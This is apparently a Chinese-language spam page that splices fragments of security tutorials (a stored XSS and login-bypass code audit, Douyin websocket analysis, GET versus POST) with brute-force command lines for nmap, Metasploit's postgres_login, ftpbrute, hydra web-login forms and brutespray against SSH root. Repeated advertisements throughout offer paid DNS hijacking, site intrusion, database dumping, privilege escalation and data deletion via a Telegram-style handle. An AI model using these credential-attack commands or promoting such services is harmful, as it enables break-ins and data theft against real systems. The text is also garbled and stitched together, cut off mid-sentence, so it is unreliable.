📰 最近消息
分析代码可知，未对用户进行判断就直接把用户信息更新到数据库中，更新数据库中后直接使用userid进行自动重新登录从而可导致直接登录其他用户界面。接DNS劫持（各位bc网的伙伴你要是需要引流的找我）网站劫持 数据劫持接渗透拿站，各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系 @LieRen66666
由此可知，存储过程标题和内容未做差异化处理，说明在输出的时候对内容进行了过滤，继续分析输出部分。由以上可知,存在XSS的url为http://127.0.0.1:8080/question/list。 直接在*.jsp文件中搜索question/list找到对应的输出点。很明显标题处是直接拼接数据库中的值并未使用标签包裹，而内容处则使用了<c:out>标签。在jsp文件中，使用<c:out>标签是直接对代码进行输出而不当成js代码执行。
此处只有标题有XSS而内容无XSS，找到对应的入口进行分析原因，questionsService.addQuestions()为添加问答方法，追踪此方法QuestionsController-->QuestionsService-->QuestionsServiceImpl-->QuestionsDao-->QuestionsDaoImpl-->QuestionsMapper根据追踪过程分析未做字符过滤就直接保存到数据库中。并且标题和内容都保存数据库中。
技术专业渗透 提权 爆破，Dns域名动持，拖库，破解改单， 外挂等业务接破解网站，入侵服务器，渗透测试，删库，数据删除 拿数据库合作联系咨询 ：@LieRen66666
某音东方甄选直播间开始逆向分析浏览器打开网页版抖音直播间，F12进入控制台 分析弹幕数据： 弹幕这种数据它的交互方式是这样，客户端可以发送弹幕数据，服务器端也可以推送所有人的弹幕数据（浏览器也不需要数据刷新，不需要向服务器重新发起请求），像我们通常用的http请求，只能做到客户端向服务器发送一次请求后，浏览器把相应数据给客户端； 我们可以看到抖音这里的ws这一块，数据一直在实时变动，但是地址只有一直是一个，这里也就是我们的弹幕数据，也就是说，弹幕是在同一个websocket连接下进行数据传输的这里先简单的介绍下websocket WebSocket 是一种在单个 TCP 连接上进行全双工通信的
请求方式: get与post请求GET提交的数据会放在URL之后，以?分割URL和传输数据，参数之间以&相连，如EditBook?name=test1&id=123456.POST方法是把提交的数据放在HTTP包的请求体中.GET提交的数据大小有限制（因为浏览器对URL的长度有限制），而POST方法提交的数据没有大小限制，且携带的请求数据不可以明文方式连接在url中。接DNS劫持（各位bc网的伙伴你要是需要引流的找我）网站劫持 数据劫持接渗透拿站，各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系 @LieRen66666
postgresql暴力破解Step1:扫描详细服务（略）命令：nmap -sV -p 5432 192.168.172.129Step2:启动msfconsole（略）Step3:使用爆破模块useauxiliary/scanner/postgres/postgres_login技术专业渗透 提权 爆破，Dns域名动持，拖库，破解改单， 外挂等业务接破解网站，入侵服务器，渗透测试，删库，数据删除 拿数据库 渗透劫持合作联系咨询 ：@LieRen66666
Step1:在悬剑中有一款工具，可以爆破ftp，名字叫做“ftpbrute”Step2:命令命令进行爆破Python2 ftpbrute.py 192.168.172.135 user.txt pass.txt技术专业渗透 提权 爆破，Dns域名动持，拖库，破解改单， 外挂等业务接破解网站，入侵服务器，渗透测试，删库，数据删除 拿数据库 渗透劫持合作联系咨询 ：@LieRen66666
get方式提交，破解web登录： hydra -l 用户名 -p 密码字典 -t 线程 -v -e ns ip http-get /admin/ hydra -l 用户名 -p 密码字典 -t 线程 -v -e ns -f ip http-get /admin/index.php5.post方式提交，破解web登录： hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry passwordhydra -t 3 -l admi
当在内网已经获取了一个密码后，可以用来验证nmap扫描中的开放22端口的服务器，如图11所示，对192.168.17.144和192.168.17.147进行root密码暴力破解，192.168.17.144密码成功破解。pythonbrutespray.py --file 22.xml -u root -p toor --threads 5 --hosts 5./brutespray.py -f 22.xml -u root -p toor--threads 5 --hosts 5技术专业渗透 提权 爆破，Dns域名动持，拖库，破解改单， 外挂等业务接破解网站，入侵服务器，渗透测试，删库，数